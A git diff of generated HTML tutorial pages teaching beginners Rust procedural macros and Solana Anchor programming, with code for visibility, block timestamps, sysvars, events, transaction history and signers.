          -        #[derive(Debug)]
          -        // Defining a new struct #struct_name with two fields: foo and bar
          -        struct #struct_name {
          -            foo: i32,
          -            bar: i32,
          +        // Derive Debug trait for #struct_name to enable formatted output with `println()`
          +        #[derive(Debug)]
          +        // Defining a new struct #struct_name with two fields: foo and bar
          +        struct #struct_name {
          +            foo: i32,
          +            bar: i32,
                   }
           
          -        // Implementing the Default trait for #struct_name
          -        // This provides a default() method to create a new instance of #struct_name
          -        impl Default for #struct_name {
          -            // The default method returns a new instance of #struct_name
          -            // with foo set to 10 and bar set to 20
          -            fn default() -> Self {
          -                #struct_name { foo: 10, bar: 20}
          +        // Implementing the Default trait for #struct_name
          +        // This provides a default() method to create a new instance of #struct_name
          +        impl Default for #struct_name {
          +            // The default method returns a new instance of #struct_name
          +            // with foo set to 10 and bar set to 20
          +            fn default() -> Self {
          +                #struct_name { foo: 10, bar: 20}
                       }
                   }
           
          -        impl #struct_name {
          -            // Defining a method double_foo for #struct_name
          -            // This method returns double the value of foo
          -            fn double_foo(&self) -> i32 {
          -                self.foo * 2
          +        impl #struct_name {
          +            // Defining a method double_foo for #struct_name
          +            // This method returns double the value of foo
          +            fn double_foo(&self) -> i32 {
          +                self.foo * 2
                       }
                   }
               })
          @@ -653,42 +649,42 @@ 

          add fields into a struct

          Result: cargo run

          image-20240730212741245

          -

          remove fields from a struct

          -
          cd rust_projects
          +

          Remove fields from a struct

          +
          cd rust_projects
           cargo new day_9_2
           

          Main.ts

          -
          use day_9_2::destroy_attribute;
          +
          use day_9_2::destroy_attribute;
           
          -#[destroy_attribute]
          -struct MyStruct {
          -    baz: i32,
          -    qux: i32,
          +#[destroy_attribute]
          +struct MyStruct {
          +    baz: i32,
          +    qux: i32,
           }
           
          -fn main() {
          -    let demo = MyStruct { baz: 3, qux: 4 };
          +fn main() {
          +    let demo = MyStruct { baz: 3, qux: 4 };
           
          -    println!("struct is {:?}", demo);
          +    println!("struct is {:?}", demo);
           }
           

          lib.rs

          -
          // src/lib.rs
          -// Importing necessary external crates
          -extern crate proc_macro;
          -use proc_macro::TokenStream;
          -use quote::quote;
          -use syn::{parse_macro_input, ItemStruct};
          -
          -#[proc_macro_attribute]
          -pub fn destroy_attribute(_metadata: TokenStream, _input: TokenStream) -> TokenStream {
          -    let input = parse_macro_input!(_input as ItemStruct);
          -    let struct_name = &input.ident; // Get the name of the struct
          +
          // src/lib.rs
          +// Importing necessary external crates
          +extern crate proc_macro;
          +use proc_macro::TokenStream;
          +use quote::quote;
          +use syn::{parse_macro_input, ItemStruct};
          +
          +#[proc_macro_attribute]
          +pub fn destroy_attribute(_metadata: TokenStream, _input: TokenStream) -> TokenStream {
          +    let input = parse_macro_input!(_input as ItemStruct);
          +    let struct_name = &input.ident; // Get the name of the struct
           
               TokenStream::from(quote! {
          -        // This returns an empty struct with the same name
          -        #[derive(Debug)]
          -        struct #struct_name {
          +        // This returns an empty struct with the same name
          +        #[derive(Debug)]
          +        struct #struct_name {
                   }
               })
           }
          @@ -698,25 +694,25 @@ 

          remove fields from a struct

          we got two errors on the compliation stage, this means baz and qux are no longer belong to MyStruct as expected!!

          Derive macro

          This support a way to augment a struct without changing it, a derive macro can, among other things, attach an impl to a struct.

          -
          struct Foo {
          -    bar: i32,
          +
          struct Foo {
          +    bar: i32,
           }
           
          -pub fn main() {
          -    let foo = Foo { bar: 3 };
          -    println!("{:?}", foo);
          +pub fn main() {
          +    let foo = Foo { bar: 3 };
          +    println!("{:?}", foo);
           }
           

          The code will not compile cos structs are not "printable".

          To make them printable, they need an impl with a function fmt which returns a string representation of the struct. If we do the following instead:

          -
          #[derive(Debug)]
          -struct Foo {
          -    bar: i32,
          +
          #[derive(Debug)]
          +struct Foo {
          +    bar: i32,
           }
           
          -pub fn main() {
          -    let foo = Foo { bar: 3 };
          -    println!("{:?}", foo);
          +pub fn main() {
          +    let foo = Foo { bar: 3 };
          +    println!("{:?}", foo);
           }
           

          result:

          @@ -763,7 +759,7 @@ @@ -849,14 +845,6 @@ - - - - - - - - diff --git a/en/solana_beginner/10_Visibility_Inherience/index.html b/en/solana_beginner/10_Visibility_Inherience/index.html index 8d22e99f..b31fcc40 100644 --- a/en/solana_beginner/10_Visibility_Inherience/index.html +++ b/en/solana_beginner/10_Visibility_Inherience/index.html @@ -36,10 +36,6 @@ - - - - @@ -465,11 +461,11 @@

          VISIBILITY AND INHERIENCE

          Public functions

          We can define a function with the pub prefix to indicate that it is public.

          All the functions we have defined since day_1 till date arel all public functions:

          -
          pub fn public_function(ctx: Contex) -> Result<()> {
          -  //...
          -  Ok(())
          +
          pub fn public_function(ctx: Contex<Initialize>) -> Result<()> {
          +  //...
          +  Ok(())
           }
          -
          +

          You cannot remove the pubkeyword for functions inside of the module(mod) labeled #[program], it willnot compile.

          Solana don't have external functions.

          Internal functions

          @@ -478,118 +474,127 @@

          Internal functions

        5. define a mode pub mod internal_funcinside pub mod day_10
        6. call internal_func1within initialize via mod_name::function_name
        7. -
          #[program]
          -pub mod day_10 {
          -    use super::*;
          +
          #[program]
          +pub mod day_10 {
          +    use super::*;
           
          -    pub fn initialize(ctx: Context) -> Result<()> {
          -        msg!("Greetings from: {:?}", ctx.program_id);
          +    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
          +        msg!("Greetings from: {:?}", ctx.program_id);
           
          -        let number = get_number();
          -        msg!("Number: {:?}", number);
          +        let number = get_number();
          +        msg!("Number: {:?}", number);
           
          -        let num = internal_func::internal_func1();
          -        msg!("Internal num: {:?}", num);
          -        Ok(())
          +        let num = internal_func::internal_func1();
          +        msg!("Internal num: {:?}", num);
          +        Ok(())
               }
           
          -    pub mod internal_func {
          -        pub fn internal_func1() -> u64 {
          -            return 20;
          +    pub mod internal_func {
          +        pub fn internal_func1() -> u64 {
          +            return 20;
                   }
               }
           }
          -
          +

          define another mod within this file lib.rs but outside of pub mod day_10,

          import and call function of mod internal_func

          -
          mod call {
          -    use crate::day_10;
          -    pub fn call_internal_func() {
          -        let num = day_10::internal_func::internal_func1();
          -        println!("Internal num: {:?}", num);
          +
          mod call {
          +    use crate::day_10;
          +    pub fn call_internal_func() {
          +        let num = day_10::internal_func::internal_func1();
          +        println!("Internal num: {:?}", num);
               }
           }
           

          the full code:

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("C7Qm8zwexesfhk4CSeEKJkasuPsUE1RPQPepsr36wkNS");
          +declare_id!("C7Qm8zwexesfhk4CSeEKJkasuPsUE1RPQPepsr36wkNS");
           
          -#[program]
          -pub mod day_10 {
          -    use super::*;
          +#[program]
          +pub mod day_10 {
          +    use super::*;
           
          -    pub fn initialize(ctx: Context) -> Result<()> {
          -        msg!("Greetings from: {:?}", ctx.program_id);
          +    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
          +        msg!("Greetings from: {:?}", ctx.program_id);
           
          -        let number = get_number(); // <--call a single function outside any mod msg!("number: {:?}", number); let num="internal_func::internal_func1();" msg!("internal num: num); ok(()) } pub internal_func { fn internal_func1() -> u64 {
          -            return 20;
          +        let number = get_number(); // <--call a single function outside any mod
          +        msg!("Number: {:?}", number);
          +
          +        let num = internal_func::internal_func1();
          +        msg!("Internal num: {:?}", num);
          +        Ok(())
          +    }
          +
          +    pub mod internal_func {
          +        pub fn internal_func1() -> u64 {
          +            return 20;
                   }
               }
           }
           
          -// This is a outer module
          -mod call {
          -    use crate::day_10;
          -    pub fn call_internal_func() {
          -        let num = day_10::internal_func::internal_func1();
          -        println!("Internal num: {:?}", num);
          +// This is a outer module
          +mod call {
          +    use crate::day_10;
          +    pub fn call_internal_func() {
          +        let num = day_10::internal_func::internal_func1();
          +        println!("Internal num: {:?}", num);
               }
           }
           
          -pub fn get_number() -> u64 {
          -    10
          +pub fn get_number() -> u64 {
          +    10
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          -
          +#[derive(Accounts)] +pub struct Initialize {} +

          add test cases and run: (can get the source code down below).

          image-20240731222940520

          this is how we acchieve internal functions, it can be accessed by parent mod (day_10), and outside mod call as well.

          Private functions

          Definiing a function within a specific module and ensuring they are not exposed outside that scope is a way to achieve private visibility:

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("C7Qm8zwexesfhk4CSeEKJkasuPsUE1RPQPepsr36wkNS");
          +declare_id!("C7Qm8zwexesfhk4CSeEKJkasuPsUE1RPQPepsr36wkNS");
           
          -#[program]
          -pub mod day_10 {
          -    use super::*;
          +#[program]
          +pub mod day_10 {
          +    use super::*;
           
          -    pub fn initialize(ctx: Context) -> Result<()> {
          -        // the reset code
          +    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
          +        // the reset code
           
          -        let msg = some_private_function::private_func();
          -        msg!("Private function: {:?}", msg);
          -        Ok(())
          +        let msg = some_private_function::private_func();
          +        msg!("Private function: {:?}", msg);
          +        Ok(())
               }
           
          -    pub mod some_private_function {
          -        use std::string;
          -        pub(in crate::day_10) fn private_func() -> string::String {
          -            return "Hello private function!".to_string();
          +    pub mod some_private_function {
          +        use std::string;
          +        pub(in crate::day_10) fn private_func() -> string::String {
          +            return "Hello private function!".to_string();
                   }
               }
           }
           
          -// This is a outer module
          -mod call {
          -    use crate::day_10;
          -    // the reset code
          -    pub fn call_private_func() {
          -        let msg = day_10::some_private_function::private_func();
          -        println!("Private function: {:?}", msg);
          +// This is a outer module
          +mod call {
          +    use crate::day_10;
          +    // the reset code
          +    pub fn call_private_func() {
          +        let msg = day_10::some_private_function::private_func();
          +        println!("Private function: {:?}", msg);
               }
           }
           
          -pub fn get_number() -> u64 {
          -    10
          +pub fn get_number() -> u64 {
          +    10
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          -
          +#[derive(Accounts)] +pub struct Initialize {} +

          The pub(in crate::day_10) keyword indicates that private_func function is only visible within day_10 module, let's build again!

          anchor build -p day_10
           
          @@ -601,34 +606,34 @@

          Rust Module

          anchor new day_10_1
           

          create a file calculate.rswith the following code:

          -
          pub fn add(a: u64, b: u64) -> u64 {
          +
          pub fn add(a: u64, b: u64) -> u64 {
               a + b
           }
           
          -pub fn sub(a: u64, b: u64) -> u64 {
          +pub fn sub(a: u64, b: u64) -> u64 {
               a - b
           }
           

          import calculate within lib.rs

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("AeRhxgytoVWqgZuzXz9R6qgphF9jJ9yoeFbHjNFBZBFf");
          -pub mod calculate;
          +declare_id!("AeRhxgytoVWqgZuzXz9R6qgphF9jJ9yoeFbHjNFBZBFf");
          +pub mod calculate;
           
          -#[program]
          -pub mod day_10_1 {
          -    use super::*;
          +#[program]
          +pub mod day_10_1 {
          +    use super::*;
           
          -    pub fn myAdd(_ctx: Context, a: u64, b: u64) -> Result<()> {
          -        let res = calculate::add(a, b);
          -        msg!("Result: {:?}", res); // a: 10, b: 20, res: 30
          -        Ok(())
          +    pub fn myAdd(_ctx: Context<Initialize>, a: u64, b: u64) -> Result<()> {
          +        let res = calculate::add(a, b);
          +        msg!("Result: {:?}", res); // a: 10, b: 20, res: 30
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          -
          +#[derive(Accounts)] +pub struct Initialize {} +

          Be careful with the way that we import mod calculate, should be the same.

          image-20240801214059151

          Build successfully.

          @@ -672,7 +677,7 @@ @@ -758,14 +763,6 @@ - - - - - - - - diff --git a/en/solana_beginner/11_Block_Variables/index.html b/en/solana_beginner/11_Block_Variables/index.html index b58fbd30..365debac 100644 --- a/en/solana_beginner/11_Block_Variables/index.html +++ b/en/solana_beginner/11_Block_Variables/index.html @@ -36,10 +36,6 @@ - - - - @@ -471,46 +467,46 @@

          BLOCK VARIABLES

          anchor new day_11
           

          block.timestamp

          By utilizing the unix_timestamp field within the Clock sysvar, we can access the block timestamp Solana.

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("2SCX7gj5ByjWvin16BNNDjZxEcsikX15DWMMccc7EVXD");
          +declare_id!("2SCX7gj5ByjWvin16BNNDjZxEcsikX15DWMMccc7EVXD");
           
          -#[program]
          -pub mod day_11 {
          -    use super::*;
          +#[program]
          +pub mod day_11 {
          +    use super::*;
           
          -    pub fn get_timestamp(ctx: Context) -> Result<()> {
          -        let clock: Clock = Clock::get()?;
          -        msg!("Current Unix Timestamp: {}", clock.unix_timestamp);
          -        Ok(())
          +    pub fn get_timestamp(ctx: Context<Initialize>) -> Result<()> {
          +        let clock: Clock = Clock::get()?;
          +        msg!("Current Unix Timestamp: {}", clock.unix_timestamp);
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          -
          +#[derive(Accounts)] +pub struct Initialize {} +

          test:

          image-20240803101113018

          let's div further to get the day of the week, we need to use a new carte: chrono, it provides functionality for operations on dates and times in Rust.

          -
          # day_11/Cargo.toml
          -[dependencies]
          -anchor-lang = "0.30.1"
          -chrono = "0.4.31"
          +
          # day_11/Cargo.toml
          +[dependencies]
          +anchor-lang = "0.30.1"
          +chrono = "0.4.31"
           

          update code, be sure to import use chrono::*

          -
          pub fn get_day_of_week(ctx: Context) -> Result<()> {
          -        let clock: Clock = Clock::get()?;
          -        let time_stamp = clock.unix_timestamp;
          +
          pub fn get_day_of_week(ctx: Context<Initialize>) -> Result<()> {
          +        let clock: Clock = Clock::get()?;
          +        let time_stamp = clock.unix_timestamp;
           
          -        // let date_time = chrono::NaiveDateTime::from_timestamp(time_stamp, 0); // DEPRECATED!!
          -        let date_time = DateTime::from_timestamp(time_stamp, 0);
          +        // let date_time = chrono::NaiveDateTime::from_timestamp(time_stamp, 0); // DEPRECATED!!
          +        let date_time = DateTime::from_timestamp(time_stamp, 0);
                   msg!(
          -            "Day of the week: {:?}",
          -            date_time.expect("REASON").weekday() // ATTENTION!!
          +            "Day of the week: {:?}",
          +            date_time.expect("REASON").weekday() // ATTENTION!!
                   );
          -        Ok(())
          +        Ok(())
               }
          -
          +

          output:

          image-20240803105052091

          block.number

          @@ -577,7 +573,7 @@ @@ -663,14 +659,6 @@ - - - - - - - - diff --git a/en/solana_beginner/12_Beyond-The-Block_Sysvars/index.html b/en/solana_beginner/12_Beyond-The-Block_Sysvars/index.html index ff4bf4dd..e9abf8ef 100644 --- a/en/solana_beginner/12_Beyond-The-Block_Sysvars/index.html +++ b/en/solana_beginner/12_Beyond-The-Block_Sysvars/index.html @@ -36,10 +36,6 @@ - - - - @@ -473,27 +469,27 @@

          EpochSchedule

          Let's try EpochSchedule directly

          anchor new day_12
           
          -
          #[program]
          -pub mod day_12 {
          -    use super::*;
          -
          -    pub fn initialize(ctx: Context) -> Result<()> {
          -        let epoch = EpochSchedule::get()?;
          -        msg!("Epoch: {:?}", epoch);
          -        Ok(())
          +
          #[program]
          +pub mod day_12 {
          +    use super::*;
          +
          +    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
          +        let epoch = EpochSchedule::get()?;
          +        msg!("Epoch: {:?}", epoch);
          +        Ok(())
               }
           }
          -
          +

          result:

          image-20240804194026134

          Rent

          add another function and test

          -
              pub fn rent_test(ctx: Context) -> Result<()> {
          -        let rent = Rent::get()?;
          -        msg!("Rent: {:?}", rent);
          -        Ok(())
          +
              pub fn rent_test(ctx: Context<Initialize>) -> Result<()> {
          +        let rent = Rent::get()?;
          +        msg!("Rent: {:?}", rent);
          +        Ok(())
               }
          -
          +

          result:

          image-20240804194518734

          Accessing Via Public Address

          @@ -502,52 +498,52 @@

          Accessing Via Public Address

           anchor new day_12_1
           

          Add:

          -
              pub fn get_stake_history(ctx: Context) -> Result<()> {
          -        let arr = [ctx.accounts.stake_history.clone()];
          -        let acc_iter = &mut arr.iter();
          -        let sh_sysvar_info = next_account_info(acc_iter)?;
          -        msg!("Stake History Sysvar: {:?}", sh_sysvar_info);
          -        Ok(())
          +
              pub fn get_stake_history(ctx: Context<Initialize>) -> Result<()> {
          +        let arr = [ctx.accounts.stake_history.clone()];
          +        let acc_iter = &mut arr.iter();
          +        let sh_sysvar_info = next_account_info(acc_iter)?;
          +        msg!("Stake History Sysvar: {:?}", sh_sysvar_info);
          +        Ok(())
               }
          -
          +

          update Initialize with new account:

          
          -#[derive(Accounts)]
          -pub struct Initialize<'info> {
          -    /// CHECK:
          -    pub stake_history: AccountInfo<'info>,
          +#[derive(Accounts)]
          +pub struct Initialize<'info> {
          +    /// CHECK:
          +    pub stake_history: AccountInfo<'info>,
           }
          -
          +

          update test file:

          -
          import * as anchor from "@coral-xyz/anchor";
          -import { Program } from "@coral-xyz/anchor";
          +
          import * as anchor from "@coral-xyz/anchor";
          +import { Program } from "@coral-xyz/anchor";
           import { Day12 } from '../target/types/day_12';
           
          -describe("day_12", () => {
          +describe("day_12", () => {
             anchor.setProvider(anchor.AnchorProvider.env());
          -  const program = anchor.workspace.Day12 as Program;
          -  const stakeHistoryPubKey = new anchor.web3.PublicKey("SysvarStakeHistory1111111111111111111111111");
          +  const program = anchor.workspace.Day12 as Program<Day12>;
          +  const stakeHistoryPubKey = new anchor.web3.PublicKey("SysvarStakeHistory1111111111111111111111111");
           
          -  it("should succeed to get epoch schedule!", async () => {
          -    const tx = await program.methods.initialize().rpc();
          -    console.log("You tx signature:", tx);
          +  it("should succeed to get epoch schedule!", async () => {
          +    const tx = await program.methods.initialize().rpc();
          +    console.log("You tx signature:", tx);
             })
           
          -  it("should succeed to get rent info!", async () => {
          -    const tx = await program.methods.rentTest().rpc();
          -    console.log("You tx signature:", tx);
          +  it("should succeed to get rent info!", async () => {
          +    const tx = await program.methods.rentTest().rpc();
          +    console.log("You tx signature:", tx);
             })
           
          -  it.only("should succeed to get stake history info!", async () => {
          -    const tx = await program.methods.
          +  it.only("should succeed to get stake history info!", async () => {
          +    const tx = await program.methods.
                 getStakeHistory().
                 accounts({
                   stakeHistory: stakeHistoryPubKey
                 }).rpc();
          -    console.log("You tx signature:", tx);
          +    console.log("You tx signature:", tx);
             })
           })
          -
          +

          result:

          image-20240804202020364

          Key Takeaways

          @@ -583,7 +579,7 @@ @@ -669,14 +665,6 @@ - - - - - - - - diff --git a/en/solana_beginner/13_Event_Log_Transaction/index.html b/en/solana_beginner/13_Event_Log_Transaction/index.html index 1277056f..702a3f3b 100644 --- a/en/solana_beginner/13_Event_Log_Transaction/index.html +++ b/en/solana_beginner/13_Event_Log_Transaction/index.html @@ -36,10 +36,6 @@ - - - - @@ -459,120 +455,120 @@

          Solana Logs and Events

          anchor new day _13
           

          The program below has two events: MyEvent and MySecondEvent. Similar to how Ethereum events have arguments, Solana events have fields in the struct.

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("5bQr6jnC8PvXXa8npycQD8xU6ZEzVjHNF8UufCPM13Sr");
          +declare_id!("5bQr6jnC8PvXXa8npycQD8xU6ZEzVjHNF8UufCPM13Sr");
           
          -#[program]
          -pub mod day_13 {
          -    use super::*;
          +#[program]
          +pub mod day_13 {
          +    use super::*;
           
          -    pub fn initialize(ctx: Context) -> Result<()> {
          -        emit!(MyEvent { value: 41 });
          +    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
          +        emit!(MyEvent { value: 41 });
                   emit!(MySecondEvent {
          -            value: 42,
          -            message: "Hello, Event!".to_string()
          +            value: 42,
          +            message: "Hello, Event!".to_string()
                   });
          -        Ok(())
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          +#[derive(Accounts)]
          +pub struct Initialize {}
           
          -#[event]
          -pub struct MyEvent {
          -    pub value: u64,
          +#[event]
          +pub struct MyEvent {
          +    pub value: u64,
           }
           
          -#[event]
          -pub struct MySecondEvent {
          -    pub value: u64,
          -    pub message: String,
          +#[event]
          +pub struct MySecondEvent {
          +    pub value: u64,
          +    pub message: String,
           }
          -
          +

          build

          anchor build -p day_13
           

          Events become part of the ANCHOR PROGRAM IDL, similar to how events are part of a Solidity smart contract's ABI. Below is the full IDL of the code above.

          {
          -  "address": "5bQr6jnC8PvXXa8npycQD8xU6ZEzVjHNF8UufCPM13Sr",
          -  "metadata": {
          -    "name": "day_13",
          -    "version": "0.1.0",
          -    "spec": "0.1.0",
          -    "description": "Created with Anchor"
          +  "address": "5bQr6jnC8PvXXa8npycQD8xU6ZEzVjHNF8UufCPM13Sr",
          +  "metadata": {
          +    "name": "day_13",
          +    "version": "0.1.0",
          +    "spec": "0.1.0",
          +    "description": "Created with Anchor"
             },
          -  "instructions": [
          +  "instructions": [
               {
          -      "name": "initialize",
          -      "discriminator": [
          -        175,
          -        175,
          -        109,
          -        31,
          -        13,
          -        152,
          -        155,
          -        237
          +      "name": "initialize",
          +      "discriminator": [
          +        175,
          +        175,
          +        109,
          +        31,
          +        13,
          +        152,
          +        155,
          +        237
                 ],
          -      "accounts": [],
          -      "args": []
          +      "accounts": [],
          +      "args": []
               }
             ],
          -  "events": [
          +  "events": [
               {
          -      "name": "MyEvent",
          -      "discriminator": [
          -        96,
          -        184,
          -        197,
          -        243,
          -        139,
          -        2,
          -        90,
          -        148
          +      "name": "MyEvent",
          +      "discriminator": [
          +        96,
          +        184,
          +        197,
          +        243,
          +        139,
          +        2,
          +        90,
          +        148
                 ]
               },
               {
          -      "name": "MySecondEvent",
          -      "discriminator": [
          -        48,
          -        215,
          -        165,
          -        169,
          -        66,
          -        156,
          -        9,
          -        164
          +      "name": "MySecondEvent",
          +      "discriminator": [
          +        48,
          +        215,
          +        165,
          +        169,
          +        66,
          +        156,
          +        9,
          +        164
                 ]
               }
             ],
          -  "types": [
          +  "types": [
               {
          -      "name": "MyEvent",
          -      "type": {
          -        "kind": "struct",
          -        "fields": [
          +      "name": "MyEvent",
          +      "type": {
          +        "kind": "struct",
          +        "fields": [
                     {
          -            "name": "value",
          -            "type": "u64"
          +            "name": "value",
          +            "type": "u64"
                     }
                   ]
                 }
               },
               {
          -      "name": "MySecondEvent",
          -      "type": {
          -        "kind": "struct",
          -        "fields": [
          +      "name": "MySecondEvent",
          +      "type": {
          +        "kind": "struct",
          +        "fields": [
                     {
          -            "name": "value",
          -            "type": "u64"
          +            "name": "value",
          +            "type": "u64"
                     },
                     {
          -            "name": "message",
          -            "type": "string"
          +            "name": "message",
          +            "type": "string"
                     }
                   ]
                 }
          @@ -582,35 +578,35 @@ 

          Solana Logs and Events

          be sure to note, there is no indexed concept in Solana.

          Unlike Ethereum, we cannot directly query for past events over a range of block numbers. We can only listen for events as they occur(Will Discuss Later). The code below showcase how to listen for events in Solana:

          -
          import * as anchor from "@coral-xyz/anchor";
          -import { Program } from "@coral-xyz/anchor";
          -import { Day13 } from '../target/types/day_13';
          +
          import * as anchor from "@coral-xyz/anchor";
          +import { Program } from "@coral-xyz/anchor";
          +import { Day13 } from '../target/types/day_13';
           
          -describe("day_13", () => {
          +describe("day_13", () => {
             anchor.setProvider(anchor.AnchorProvider.env());
          -  const program = anchor.workspace.Day13 as Program;
          +  const program = anchor.workspace.Day13 as Program<Day13>;
           
          -  it("should succeed to listen for events!", async () => {
          -    const listner = program.addEventListener("myEvent",
          -      (event, slot) => {
          -        console.log(`slot ${slot}, event value: ${event.value}`)
          +  it("should succeed to listen for events!", async () => {
          +    const listner = program.addEventListener("myEvent",
          +      (event, slot) => {
          +        console.log(`slot ${slot}, event value: ${event.value}`)
                 }
               )
           
          -    const listener2 = program.addEventListener('mySecondEvent',
          -      (event, slot) => {
          -        console.log(`slot ${slot}, event value: ${event.value}, message: ${event.message}`)
          +    const listener2 = program.addEventListener('mySecondEvent',
          +      (event, slot) => {
          +        console.log(`slot ${slot}, event value: ${event.value}, message: ${event.message}`)
                 }
               )
           
          -    await program.methods.initialize().rpc();
          -    await new Promise((resolve) => setTimeout(resolve, 5000));
          +    await program.methods.initialize().rpc();
          +    await new Promise((resolve) => setTimeout(resolve, 5000));
           
               program.removeEventListener(listner);
               program.removeEventListener(listener2);
             })
           })
          -
          +

          result:

          image-20240807215214356

          We register a listener for each event and remove them 5 seconds after emitting the events by invoking the initialize() function.

          @@ -629,25 +625,25 @@

          Can not get tx history by

          How to query tx history in Solana

          Solana has an RPC function getSignaturesForAddress which lists all the txs an address has done. The address can be a program or a wallet.

          The following is a script to list the txs from an given address:

          -
            it.only("should succeed to list all the txs!", async () => {
          -    const connection = new Connection('https://api.mainnet-beta.solana.com');
          -    const getTxs = async (address, limit) => {
          -      const pubKey = new PublicKey(address);
          -      let txList = await connection.getSignaturesForAddress(pubKey, {
          +
            it.only("should succeed to list all the txs!", async () => {
          +    const connection = new Connection('https://api.mainnet-beta.solana.com');
          +    const getTxs = async (address, limit) => {
          +      const pubKey = new PublicKey(address);
          +      let txList = await connection.getSignaturesForAddress(pubKey, {
                   limit
                 });
          -      let signatureList = txList.map((tx) => tx.signature);
          -      console.log('signatureList: ', signatureList.length);
          +      let signatureList = txList.map((tx) => tx.signature);
          +      console.log('signatureList: ', signatureList.length);
           
          -      for await (const sig of signatureList) {
          -        console.log(await connection.getParsedTransaction(sig, {
          -          maxSupportedTransactionVersion: 0
          +      for await (const sig of signatureList) {
          +        console.log(await connection.getParsedTransaction(sig, {
          +          maxSupportedTransactionVersion: 0
                   }));
                 }
               }
           
          -    let myAddress = '8Qmw55X5cUZdwupBFQrN3ZBNSQ6tbwLVgu8yjD9Df2X5'
          -    getTxs(myAddress, 10);
          +    let myAddress = '8Qmw55X5cUZdwupBFQrN3ZBNSQ6tbwLVgu8yjD9Df2X5'
          +    getTxs(myAddress, 10);
             })
           

          Note that the actual content of the Transaction is retrieved using the getParsedTransaction RPC method.

          @@ -687,7 +683,7 @@ @@ -773,14 +769,6 @@ - - - - - - - - diff --git a/en/solana_beginner/14_Tx.Origin_onlyOwner/index.html b/en/solana_beginner/14_Tx.Origin_onlyOwner/index.html index 0bbb3bd0..f4e43dff 100644 --- a/en/solana_beginner/14_Tx.Origin_onlyOwner/index.html +++ b/en/solana_beginner/14_Tx.Origin_onlyOwner/index.html @@ -36,10 +36,6 @@ - - - - @@ -468,82 +464,84 @@

          Single Signer

          anchor new day_14
           

          udpate with following code:

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("J3h97qKEjawFyr7iypKL27kutnbkTkaCuwd4szvJPYdD");
          +declare_id!("J3h97qKEjawFyr7iypKL27kutnbkTkaCuwd4szvJPYdD");
           
          -#[program]
          -pub mod day_14 {
          -    use super::*;
          +#[program]
          +pub mod day_14 {
          +    use super::*;
           
          -    pub fn single_signer(ctx: Context) -> Result<()> {
          -        let signer1: &mut Signer = &mut ctx.accounts.signer1;
          -        // Your logic here
          +    pub fn single_signer(ctx: Context<Initialize>) -> Result<()> {
          +        let signer1: &mut Signer = &mut ctx.accounts.signer1;
          +        // Your logic here
           
          -        msg!("Signer1: {:?}", *signer1.key);
          -        Ok(())
          +        msg!("Signer1: {:?}", *signer1.key);
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize<'info> {
          -    #[account(mut)]
          -    pub signer1: Signer<'info>,
          +#[derive(Accounts)]
          +pub struct Initialize<'info> {
          +    #[account(mut)]
          +    pub signer1: Signer<'info>,
           }
          -
          +

          From the above code snippet, we have attached an signer1 to Initialize and use it within the function.

          add test case in day_14.ts

          -
          import * as anchor from "@coral-xyz/anchor";
          -import { Program } from "@coral-xyz/anchor";
          -import { Day14 } from '../target/types/day_14';
          +
          import * as anchor from "@coral-xyz/anchor";
          +import { Program } from "@coral-xyz/anchor";
          +import { Day14 } from '../target/types/day_14';
           
          -describe("day_14", () => {
          +describe("day_14", () => {
             anchor.setProvider(anchor.AnchorProvider.env());
          -  const program = anchor.workspace.Day14 as Program;
          +  const program = anchor.workspace.Day14 as Program<Day14>;
           
          -  it("should succeed to call!", async () => {
          -    const tx = await program.methods.initialize().accounts(
          +  it("should succeed to call!", async () => {
          +    const tx = await program.methods.initialize().accounts(
                 {
          -        signer1: program.provider.publicKey,
          +        signer1: program.provider.publicKey,
                 }
               ).rpc();
          -    console.log('Signer1 raw: ', program.provider.publicKey);
          -    console.log('Signer1: ', program.provider.publicKey.toBase58());
          +    console.log('Signer1 raw: ', program.provider.publicKey);
          +    console.log('Signer1: ', program.provider.publicKey.toBase58());
             })
           })
          -
          +

          output:

          image-20240818101831942

          same to what we log within the code:

          image-20240818102106135

          Multiple Signers

          simply add one more signer, signer2, everything else remains unchange.

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("J3h97qKEjawFyr7iypKL27kutnbkTkaCuwd4szvJPYdD");
          +declare_id!("J3h97qKEjawFyr7iypKL27kutnbkTkaCuwd4szvJPYdD");
           
          -#[program]
          -pub mod day_14 {
          -    use super::*;
          +#[program]
          +pub mod day_14 {
          +    use super::*;
           
          -        // the previous logic...
          +        // the previous logic...
           
          -    pub fn multiple_signer2(ctx: Context) -> Result<()> {
          -        let signer1: &mut Signer = &mut ctx.accounts.signer1;
          -        let signer2: &Signer = &ctx.accounts.signer2;
          -        // Your logic here
          +    pub fn multiple_signer2(ctx: Context<Initialize>) -> Result<()> {
          +        let signer1: &mut Signer = &mut ctx.accounts.signer1;
          +        let signer2: &Signer = &ctx.accounts.signer2;
          +        // Your logic here
           
          -        msg!("Signer1: {:?}", *signer1.key);
          -        msg!("Signer2: {:?}", *signer2.key);
          -        Ok(())
          +        msg!("Signer1: {:?}", *signer1.key);
          +        msg!("Signer2: {:?}", *signer2.key);
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize<'info> {
          -    #[account(mut)]
          -    pub signer1: Signer<'info>,
          -    pub signer2: Signer<'info>, // <
